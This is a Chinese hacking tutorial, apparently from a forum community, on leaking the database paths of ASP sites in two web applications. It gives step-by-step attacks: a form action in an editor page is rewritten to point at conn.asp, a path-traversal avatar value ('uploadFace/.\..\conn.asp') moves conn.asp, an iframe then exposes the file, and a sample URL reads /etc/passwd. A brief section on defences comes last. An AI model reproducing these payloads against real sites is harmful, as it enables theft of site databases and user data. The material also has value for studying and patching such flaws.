前言
数据库作为一个站点的核心部分其重要性自然不言而喻,网管们也煞费苦心的把数据库改名、加上特殊符号来增加安全性。但是最近一些安全站点的数据库路径纷纷被人找到并下载,也就是最近讨论的很热的"暴库"技术。我和紫幻以及黑客X档案的各位朋友们也对这门技术进行了研究。虽说研究成果还不是很多,但希望能起一个抛转引玉的作用。下面我就拿两个系统来做实例分析:
动力文章系统
一般说来每一个站点程序文件中都会有一个连接数据的文件(一般是conn.asp),当然这个文件名和路径并不是固定的,有的是在站点根目录下,有的是放在专门的一个文件夹里,通常这个文件夹名为INC,文件名为conn.asp。如果把这和暴库联系起来,通常人们都会想到通过访问这个文件来得到关于数据库的信息,而实际上我们直接访问这个文件是不会得到我们想要的信息的,所以就需要结合一些漏洞来达到暴库的目的。
首先我来简单介绍一下这个程序,动力文章系统分为商业SQL版本和免费ACCESS版本,我们这里测试的当然是ACCESS版的。程序的conn.asp文件用于连接数据库,在/INC这个目录下,数据库文件在/Database目录下。连接数据库用的是相对路径:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
动力文章系统的这个数据库路径泄露隐患应该算是程序员的疏忽而造成的,由于conn.asp这个文件本身存在隐患,导致攻击者获得数据库路径。漏洞发现者:天天(即黑客X论坛叫sohu的那位MM:),参与研究者:怪狗、iceyes、sniper。(漏洞分析可以参http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。
开始的时候我们还以为editor.asp这个文件缺乏足够的验证,但是后来分析我们才发现不是editor.asp的问题。天天的那种做法只是利用editor.asp查看服务器返回信息。我们再来演示一下这攻击过程。在IE中打开这个页面,看看这个页面能够起到什么作用
很显然,这个文件是用于编辑文章内容的时候用的,虽然没有什么别的权限,但是我们可以编辑更改HTML页面。点击"原代码"找到这样一段内容:
<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0
这是该页面进行身份验证的时候,将内容传递给Admin_ChkLogin.asp这个文件的内容,下面我们要做的就是把它改成conn.asp文件了:
<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0
改好后,点"预览",看到什么了?看到了吧!数据库路径出来了
这是什么原因呢,让我们看看这个:
'D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
目录结构我开始已经说了主目录下存在INC目录(用于存放conn.asp)和DATABASE目录(数据库文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目录并不在INC目录下,刚才暴露数据库的时候却显示\inc\database\呢。这就是编写人员的一大疏忽。由于INC和DATABASE属于同级目录,当我们用editor.asp连接访问conn.asp的时候,由于DATABASE并没有在INC目录下,而系统确认为你是在请求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb这个文件,而实际上没有这个文件,系统找不到这个文件自然就报错拉。要解决这个问题,最直接的方法就是和动网那样使conn.asp处于数据库文件的上级目录或同一个目录中。
动网论坛
根据上面动力文章系统的分析我们可以得到存在数据库路径泄露这个问题的程序的标志:
1 conn.asp和调用它的文件(如INDEX.ASP)不在同一目录。
2 conn.asp连接数据库用的是相对路径。
知道了漏洞的原理,再来理解动网得到数据库的方法也就不难了。前一段时间臭要饭的发现了动网论坛的一个大漏洞,可以转移任何文件。如果单纯利用这个漏洞,至多可以把别人论坛文件删除,却得不到任何权限。那天我和紫幻讨论这个问题的时候,突然想到了一个方法,只要我们将这个漏洞结合我们动力文章得到数据库的方法,我们很容易的就可以想到得到动网论坛数据库的方法。下面和我一起来看看动网我们该怎么做吧。
动网的漏洞出在mymodify.asp这个文件上,它在对用户自定义头像的部分处理的过于草率,我们可以利用/.\来跳转目录并移动文件,看下面代码:
'******************
'对上传头象进行过滤与改名
if Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set rs=conn.execute("select userid,face from [user] where userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if ubound(upfilename)=1 and upfilename(0)="uploadFace" then
if instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用户定义的头像变为uploadFace/用户ID
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set rs=nothing
end if
'对上传头象进行过滤与改名结束
'****************
看看这句:
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用户定义的头像变为uploadFace/用户ID_upfilename的另一部分
再看:
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看见没有?最关键的部分来了,如果检测到upface代表的文件存在,则对改文件进行移动并改名!
好了,代码分析完毕,看看我们到底应该怎么样利用它吧。注册一个用户,进入基本资料修改的页面后,关键部分就要来了。大家还记得在玩showfiles类文件的时候跳转目录来查看资料吗?类似下面的的URL,我们就利用../来跳转目录对passwd文件进行查看。提交:
http://www.target.com/show.php?file=../../../../../etc/passwd%00
相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我们要做的就是跳转目录把conn.asp转移过来。在自定义头像地址那里添上这样的一句:
uploadFace/.\..\conn.asp (注意大小写)
前面已经分析过代码了,这句话的意思应该看的懂了吧,我们把“头像”地址指向了上级目录的conn.asp。由于符合它的判断条件upface存在,所以它就会把conn.asp这个文件转移到uploadFace这个目录来,这样就符合我们玩动力文章系统的时候的第一个条件了。一般大家用的都是相对路径,所以下面我们只要调用这个文件就会知道数据库路径。新建一个HTML文件写上如下内容:
<IFRAME marginWidth=0 marginHeight=0 src="http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400</IFRAME
再打开这个HTML文件,看看,数据库路径出来了吧!
安全篇
看来问题都出在conn.asp本身,不打自招。为了安全我们得好好处理一下它。
最笨的方法就是把它改名了,让别人猜不到路径。但是它要被很多文件调用,还得改其它地方。
我们用相对路径的时候,数据库路径会随着调用conn.asp的文件而改变,从而产生了错误。那么我们就让连接数据库使用绝对路径,这样一来不管谁调用conn.asp数据库路径都不变了。
我在测试动网这个漏洞的时候,发现对一些比较新的版本,就是文件挪移成功了也暴不出数据库路径。但是有的6.0版本有效。看来新的版本动网论坛对conn.asp进行了特殊的处理。对比了一下两个不同的conn.asp,发现新的conn.asp里加了这么一句:
On Error Resume Next